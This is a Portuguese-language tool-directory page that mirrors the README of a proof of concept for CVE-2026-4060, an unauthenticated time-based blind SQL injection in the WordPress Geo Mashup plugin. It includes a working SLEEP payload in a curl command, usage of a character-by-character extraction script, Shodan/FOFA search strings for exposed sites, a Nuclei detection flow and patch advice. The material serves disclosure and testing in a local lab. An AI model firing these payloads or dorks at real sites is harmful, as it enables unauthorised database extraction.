Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-4060-PoC — Prova de conceito para CVE-2026-4060: injeção SQL cega baseada em tempo sem autenticação no plugin Geo Mashup do WordPress via cláusula ORDER BY. Inclui script de exploit, ambiente de laboratório e template de detecção Nuclei. | Kitploit
Ferramentas/GitHubGitHub/ydking0911/cve-2026-4060-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e Educação
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

Prova de conceito para CVE-2026-4060: injeção SQL cega baseada em tempo sem autenticação no plugin Geo Mashup do WordPress via cláusula ORDER BY. Inclui script de exploit, ambiente de laboratório e template de detecção Nuclei.

Ver Repositório
19há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-4060 — PoC de Injeção SQL Não Autenticada no Geo Mashup ≤ 1.13.18

Severity CVSS Type Status

Atacantes não autenticados podem injetar SQL arbitrário na cláusula ORDER BY por meio do parâmetro sort do endpoint render-map do Geo Mashup, permitindo a extração cega baseada em tempo de informações sensíveis do banco de dados.


Índice

  • Visão Geral da Vulnerabilidade
  • Ambiente de Teste
  • Como Executar
  • Resultados dos Testes
  • Mitigação
  • Detecção
  • Cronologia
  • Referências

Visão Geral da Vulnerabilidade

CampoDetalhe
CVECVE-2026-4060
PluginGeo Mashup por cyberhobo
Afetado≤ 1.13.18
Corrigido em1.13.19
CVSS v3.17.5 (Alto) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWECWE-89 — Neutralização Incorreta de Elementos Especiais em SQL
Autenticação necessáriaNenhuma (não autenticado)

Detalhe Técnico

O parâmetro sort aceito pelo endpoint render-map é passado diretamente para uma chamada $wpdb->get_results() sem sanitização:

// render-map.php (simplified)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
    "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);

Como $sort é interpolado diretamente, um atacante pode injetar uma subconsulta na cláusula ORDER BY. O wpdb do WordPress escapa aspas simples, então a PoC usa ORD(SUBSTRING(...)) com comparações numéricas para contornar essa restrição e realizar extração cega baseada em tempo.

Endpoint vulnerável:

GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>

Ambiente de Teste

ComponenteVersão
SOmacOS (Darwin 25.4.0)
Docker27.x
WordPress6.8.2 (PHP 8.2, Apache)
MariaDB11.4
Geo Mashup1.13.18 (vulnerável)
Python3.x (para poc.py)
Nucleiv3.8.0

Arquitetura do Laboratório

┌─────────────────────────────────┐
│  Host (localhost:8080)          │
│                                 │
│  ┌─────────────┐  ┌──────────┐  │
│  │ WordPress   │  │ MariaDB  │  │
│  │ 6.8.2+PHP82 │──│  11.4    │  │
│  │ :80         │  │ :3306    │  │
│  └─────────────┘  └──────────┘  │
│       + Geo Mashup 1.13.18      │
└─────────────────────────────────┘

Geo Mashup 1.13.18 ativo no administrador do WordPress:

Geo Mashup 1.13.18 ativo no administrador do WordPress


Como Executar

1. Iniciar o laboratório

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh

O setup.sh vai:

  • Subir os contêineres WordPress 6.8.2 + MariaDB 11.4
  • Instalar e ativar o Geo Mashup 1.13.18 (versão vulnerável) via WP-CLI
  • Criar um post com geolocalização para que o endpoint do mapa retorne uma resposta válida

Após a conclusão:

  • Site: http://localhost:8080
  • Administrador: http://localhost:8080/wp-admin (usuário: admin / senha: admin)

2. Confirmar a vulnerabilidade (injeção SLEEP)

time curl -s -o /dev/null \
  "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

Um atraso de resposta de ~8 segundos confirma a injeção SQL em ORDER BY.

3. Extrair dados (PoC)

# Default — print extracted results only
python3 poc.py --url http://localhost:8080

# Verbose — show each payload, response time, and extracted character
python3 poc.py --url http://localhost:8080 --verbose

# Confirm SQLi only, skip data extraction
python3 poc.py --url http://localhost:8080 --confirm-only

4. Executar o template de detecção do Nuclei

nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080

5. Encerrar o laboratório

docker compose down -v

Resultados dos Testes

Verdadeiro Positivo (TP) — Alvo vulnerável

TP-1: Injeção ORDER BY SLEEP(8) confirmada

Injetar uma subconsulta SLEEP(8) via parâmetro sort produz um atraso de resposta de ~8 segundos.

time curl -s -o /dev/null \
  "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

SLEEP(8) via ORDER BY — resposta de 8.05s

TP-2: Extração de dados (modo verboso)

A PoC extrai dados caractere por caractere usando comparações ORD(SUBSTRING(...)): enviar payload → medir o tempo de resposta → confirmar o caractere quando o SLEEP é acionado.

python3 poc.py --url http://localhost:8080 --verbose

poc.py verboso — payload, tempo, caracteres extraídos

Dados extraídos:

ConsultaResultado
VERSION()11.4.10-MariaDB
DATABASE()wordpress
USER()[email protected]

TP-3: Detecção pelo template do Nuclei

[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29

Scan completed in 8.07s. 1 matches found.

Falso Positivo (FP) — Alvo não vulnerável

O template do Nuclei usa um fluxo em duas etapas para evitar falsos positivos.

FP-1: Geo Mashup não instalado

Se readme.txt retornar 404 na Etapa 1, o scan sai imediatamente sem enviar o payload SQL.

Scan completed in 62ms. 0 matches found.   ✅

FP-2: Versão corrigida (≥ 1.13.19)

Verificação da versão do plugin via readme.txt:

readme.txt mostrando Stable tag: 1.13.18

Se compare_versions(version, '<= 1.13.18') falhar, a Etapa 2 é totalmente ignorada.

Scan completed in 19ms. 0 matches found.   ✅

Mitigação

AçãoDetalhe
AtualizarAtualize o Geo Mashup para 1.13.19 ou posterior
TemporárioDesative o plugin até que uma atualização seja aplicada
WAFBloqueie padrões de injeção de subconsultas em cláusulas ORDER BY

Commit do patch: plugins.trac.wordpress.org/changeset/3503627


Detecção

Template do Nuclei: nuclei/CVE-2026-4060.yaml

Fluxo de detecção:

Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
        → confirm plugin exists + version <= 1.13.18

Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
        → status 200 + GeoMashup.createMap + duration >= 8s

Shodan / FOFA:

Shodan: http.html:"geo-mashup"
FOFA:   body="geo-mashup"

Cronologia

DataEvento
2026-04Vulnerabilidade descoberta
2026-04Reportada ao autor do plugin
2026-05Patch do Geo Mashup 1.13.19 lançado
2026-05-14CVE atribuída e divulgada publicamente

Referências

Baixar ferramenta